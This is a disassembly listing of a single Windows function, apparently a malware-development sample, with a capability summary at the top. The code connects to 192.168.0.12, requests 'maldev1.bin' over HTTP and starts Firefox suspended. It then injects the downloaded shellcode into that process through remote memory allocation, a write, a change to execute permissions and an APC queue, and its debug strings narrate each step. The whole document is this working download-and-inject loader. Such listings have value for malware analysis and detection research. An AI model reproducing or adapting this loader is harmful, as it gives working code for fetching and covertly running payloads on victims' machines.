Function at 0x140002060
Capabilities:
Connect socket
Convert ip address from string
Create process on windows
Create process suspended
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov ecx, 0x202
lea rdx, [rbp + 0x250]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, eax
test eax, eax
je 0x1400020c6
lea rdx, str.____Error_while_initializing_Winsock:
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, rax
mov edx, ebx
call fcn.1400031a0
mov rcx, rax
call fcn.140005830
mov eax, 1
jmp 0x140002912
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tWinsock_initialized.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
jne 0x140002132
lea rdx, str.____Error_creating_socket
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, rax
call fcn.140005830
lea eax, [rbx - 1]
jmp 0x140002912
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tSocket_created.
call fcn.140005580
mov rcx, rax
call fcn.140005830
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x68], bx
mov ecx, 0x50
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x6a], ax
lea r8, [rsp + 0x6c]
lea rdx, str.192.168.0.12
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
je 0x1400021b7
lea rdx, str.____Error_converting_IP_address
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov eax, 1
jmp 0x140002912
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tIP_Object_created.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x68]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000221f
lea rdx, str.____Error_connecting_to_the_server
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov eax, 1
jmp 0x140002912
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._t_IP_structure_OK.
call fcn.140005580
mov rcx, rax
call fcn.140005830
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xor r13d, r13d
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], recv
lea ecx, [r13 + 0x20]
call fcn.14000a104
mov rdx, rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], 0x1d
mov qword [rbp - 0x40], 0x1f
movups xmm0, xmmword [str.GET__maldev1.bin_HTTP_1.1_r_n_r_n]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400374f0]
movsd qword [rax + 0x10], xmm0
mov eax, dword [0x1400374f8]
mov dword [rdx + 0x18], eax
movzx eax, byte [0x1400374fc]
mov byte [rdx + 0x1c], al
mov byte [rdx + 0x1d], r13b
xor r9d, r9d
mov r8d, dword [rbp - 0x48]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_send]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov r15d, r13d
mov qword [rbp - 0x78], r13
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x50]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140002323
nop word [rax + rax]
mov r9d, eax
lea r8, [rbp + 0x50]
mov rdx, qword [rbp - 0x80]
lea rcx, [rsp + 0x78]
call fcn.1400068c0
xor r9d, r9d
mov r8d, 0x200
lea rdx, [rbp + 0x50]
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1400022f0
mov r15, qword [rbp - 0x78]
mov rsi, qword [rbp - 0x80]
mov rbx, rsi
mov r14, qword [rsp + 0x78]
sub rbx, r14
lea rdx, str._t___Received
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
mov rdx, rbx
call fcn.140002b70
mov rcx, rax
lea rdx, str._bytes
call fcn.140005580
mov rcx, rax
call fcn.140005830
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
cmp rbx, 4
jl 0x1400024c6
lea r9, [rsi - 4]
mov r8, r14
lea r10, str._r_n_r_n
lea r11, [0x14003751c]
nop dword [rax]
nop word [rax + rax]
mov rax, r10
nop dword [rax]
nop word [rax + rax]
mov rcx, r8
sub rcx, r10
movzx edx, byte [rcx + rax]
movsx ecx, byte [rax]
cmp edx, ecx
jne 0x140002432
inc rax
cmp rax, r11
jne 0x1400023b0
cmp r8, rsi
je 0x1400024c6
lea r13, [r8 + 4]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
xor edi, edi
mov qword [rbp - 0x60], rdi
sub rsi, r13
je 0x140002471
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140002933
cmp rsi, 0x1000
jb 0x140002443
lea rcx, [rsi + 0x27]
cmp rcx, rsi
jbe 0x140002939
call fcn.14000a104
test rax, rax
je 0x14000293f
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000244e
cmp r8, r9
je 0x1400024c6
inc r8
jmp 0x1400023a0
mov rcx, rsi
call fcn.14000a104
mov rbx, rax
mov qword [rbp - 0x70], rbx
lea rdi, [rbx + rsi]
mov qword [rbp - 0x60], rdi
mov r8, rsi
mov rdx, r13
mov rcx, rbx
call fcn.14000bfa0
mov r8, rdi
mov qword [rbp - 0x68], rdi
jmp 0x140002479
mov r8, qword [rbp - 0x68]
mov rbx, qword [rbp - 0x70]
sub r8, rbx
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.1400058d0
nop
test rbx, rbx
je 0x1400024c1
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x1400024b6
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000293f
mov rdx, rdi
mov rcx, rbx
call fcn.14000a0fc
xor r13d, r13d
jmp 0x1400024e1
lea rdx, str.____Error_parsing_HTTP_response
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, rax
call fcn.140005830
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tFiltering_done.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tSocket_closed.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov rax, qword [rbp - 0x30]
mov rdi, qword [rbp - 0x38]
sub rax, rdi
mov qword [rbp + 0x438], rax
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tVariable_encrypted_data_converted_to_Shellcode_var.
call fcn.140005580
mov rcx, rax
call fcn.140005830
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x20], xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Program_FilesMozilla_Firefox_firefox.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140002638
lea rdx, str.____Could_not_create_process
lea rcx, [0x14003e510]
call fcn.140005580
mov rbx, rax
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call fcn.140002d80
mov rcx, rax
call fcn.140005830
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tProcess_firefox.exe_created_as_suspended.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rbp + 0x438]
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rbp + 0x440], rax
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tMemory_for_shellcode_allocated.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], r13
mov r9, qword [rbp + 0x438]
mov r8, rdi
mov rdx, qword [rbp + 0x440]
mov rcx, qword [rsp + 0x50]
call fcn.140007120
mov ebx, eax
test eax, eax
je 0x140002734
lea rdx, str.____Could_not_write_memory
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.140002f90
mov rcx, rax
call fcn.140005830
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tShellcode_written_into_memory_space.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x430]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x440]
mov rcx, qword [rsp + 0x50]
call fcn.1400071a0
mov ebx, eax
test eax, eax
je 0x1400027d7
lea rdx, str.____Could_not_modify_memory_protections
lea rcx, [0x14003e510]
call fcn.140005580
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
mov ecx, dword [rdx + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [rdx + rax + 0x18], ecx
mov edx, ebx
mov rcx, rax
call fcn.140002f90
mov rcx, rax
call fcn.140005830
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tChanged_paged_to_execute_rights.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x440]
mov rcx, qword [rsp + 0x58]
call fcn.1400074e0
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140006fe0
lea rdx, [0x1400373d8]
lea rcx, [0x14003e370]
call fcn.140005580
mov rcx, rax
lea rdx, str._tResumed_APC_queue.
call fcn.140005580
mov rcx, rax
call fcn.140005830
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
test rdi, rdi
je 0x1400028a4
mov rdx, qword [rbp - 0x28]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000289b
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002945
mov rcx, rdi
call fcn.14000a0fc
nop
test r14, r14
je 0x1400028d9
sub r15, r14
mov rax, r14
cmp r15, 0x1000
jb 0x1400028cd
add r15, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000294b
mov rdx, r15
mov rcx, r14
call fcn.14000a0fc
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140002910
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000290b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000292d
call fcn.14000a0fc
xor eax, eax
mov rbx, qword [rsp + 0x548]
add rsp, 0x4f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140014100
nop
call fcn.140006860
nop
call fcn.140001400
int3
call fcn.140014100
nop
call fcn.140014100
nop
call fcn.140014100
int3